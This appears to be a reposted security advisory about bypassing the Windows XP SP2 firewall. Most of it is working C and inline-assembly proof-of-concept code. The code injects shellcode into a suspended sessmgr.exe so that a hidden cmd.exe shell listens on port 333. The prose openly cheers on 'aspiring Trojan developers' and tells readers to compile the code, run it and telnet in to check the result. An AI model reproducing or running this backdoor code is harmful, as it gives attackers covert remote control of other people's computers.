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Writing Trojans that Bypass Windows XP Service Pack 2 Firewall

Summary
Windows XP Service Pack 2 incorporates many enhancements to try to better protect systems from malware and other forms of attacks. One of those layers of protection is the Windows XP SP2 Firewall. One of the features of this Firewall is the ability to allow users to decide what applications can listen on the network. By allowing users to control what applications can communicate on the network, Microsoft believes that systems will be protected against threats such as Trojans. Like so many things Microsoft says, this is inaccurate and in fact it is very easy for locally executing code to bypass the Windows Firewall. So don't worry you aspiring Trojan developers, your still going to be able to Trojan consumer and corporate systems to your hearts content.
Attached to this advisory is proof of concept code that demonstrates how a Trojan could bind to a port and accept connections by piggybacking on the inherent trust of sessmgr.exe. Simply compile this program and run it as any local user. To test if the Firewall has been bypassed (it is!) telnet from another machine to the target machine on port 333 and if your connected, then you've successfully bypassed the Windows XP Service Pack 2 Firewall.

Details
Exploit:
#include <windows.h>
#include <winsock.h>
#include <stdlib.h>
#include <stdio.h>
#include <winsock.h>
void setfp(char *buffer,int sz,DWORD from,DWORD fp)
{
int i;
for(i=0;i<sz-5;i++)
if (buffer[i]=='\xb8'&&*(DWORD*)(buffer+i+1)==from)
{*(DWORD*)(buffer+i+1)=fp;break;}
}
int injcode(char *buffer)
{
HMODULE ws2_32;
DWORD _loadlibrarya,_createprocessa,_wsastartup,_wsasocketa,_bind,_listen,_accept,_sleep;
char *code;
int len;
ws2_32=LoadLibrary("ws2_32");
_loadlibrarya=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"LoadLibraryA");
_createprocessa=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"CreateProcessA");
_sleep=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"Sleep");
_wsastartup=(DWORD)GetProcAddress(ws2_32,"WSAStartup");
_wsasocketa=(DWORD)GetProcAddress(ws2_32,"WSASocketA");
_bind=(DWORD)GetProcAddress(ws2_32,"bind");
_listen=(DWORD)GetProcAddress(ws2_32,"listen");
_accept=(DWORD)GetProcAddress(ws2_32,"accept");
__asm
{
call over
push '23'
push '_2sw'
push esp
mov eax,0x11111111
call eax
xor ebx,ebx
push 0x64
pop ecx
wsadata:
push ebx
loop wsadata
push esp
push 0x101
mov eax,0x33333333
call eax
push ebx
push ebx
push ebx
push ebx
push SOCK_STREAM
push AF_INET
mov eax,0x44444444
call eax
mov esi,eax
push ebx
push ebx
push ebx
push 0x4D010002 /*port 333*/
mov eax,esp
push 0x10
push eax
push esi
mov eax,0x55555555
call eax
push SOMAXCONN
push esi
mov eax,0x66666666
call eax
push ebx
push ebx
push esi
mov eax,0x77777777
call eax
mov edi,eax
push ebx
push ebx
push ebx
push ebx
mov eax,esp
push edi
push edi
push edi
push ebx
push SW_HIDE
push STARTF_USESTDHANDLES
push 0xA
pop ecx
startupinfo:
push ebx
loop startupinfo
push 0x44
mov ecx,esp
push 'dmc'
mov edx, esp
push eax
push ecx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push edx
push ebx
mov eax,0x22222222
call eax
push INFINITE
mov eax,0x88888888
call eax
over:
pop eax
mov code,eax
}
len=0xA0;
memcpy(buffer,code,len);
setfp(buffer,len,0x11111111,_loadlibrarya);
setfp(buffer,len,0x22222222,_createprocessa);
setfp(buffer,len,0x33333333,_wsastartup);
setfp(buffer,len,0x44444444,_wsasocketa);
setfp(buffer,len,0x55555555,_bind);
setfp(buffer,len,0x66666666,_listen);
setfp(buffer,len,0x77777777,_accept);
setfp(buffer,len,0x88888888,_sleep);
return len;
}
void main(void)
{
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
CONTEXT context;
LDT_ENTRY sel;
DWORD read,tib,peb,exebase,peoffs,ep;
IMAGE_NT_HEADERS pehdr;
int len;
char sessmgr[MAX_PATH+13];
char buffer[2048];
GetSystemDirectory(sessmgr,MAX_PATH);
sessmgr[MAX_PATH]=0;
strcat(sessmgr,"\\sessmgr.exe");
memset(&sinfo,0,sizeof(sinfo));
sinfo.cb=sizeof(sinfo);
if (!CreateProcess(sessmgr,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&sinfo,&pinfo))
printf("createprocess failed"), exit(1);
context.ContextFlags=CONTEXT_FULL;
GetThreadContext(pinfo.hThread,&context);
GetThreadSelectorEntry(pinfo.hThread,context.SegFs,&sel);
tib=sel.BaseLow|(sel.HighWord.Bytes.BaseMid<<16)|(sel.HighWord.Bytes.BaseHi<<24);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(tib+0x30),&peb,4,&read);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(peb+0x08),&exebase,4,&read);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+0x3C),&peoffs,4,&read);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+peoffs),&pehdr,sizeof(pehdr),&read);
ep=exebase+pehdr.OptionalHeader.AddressOfEntryPoint;
len=injcode(buffer);
VirtualProtect((LPVOID)ep,len,PAGE_EXECUTE_READWRITE,&read);
WriteProcessMemory(pinfo.hProcess,(LPVOID)ep,buffer,len,&read);
ResumeThread(pinfo.hThread);
}

Additional information
The information has been provided by americanidiot.


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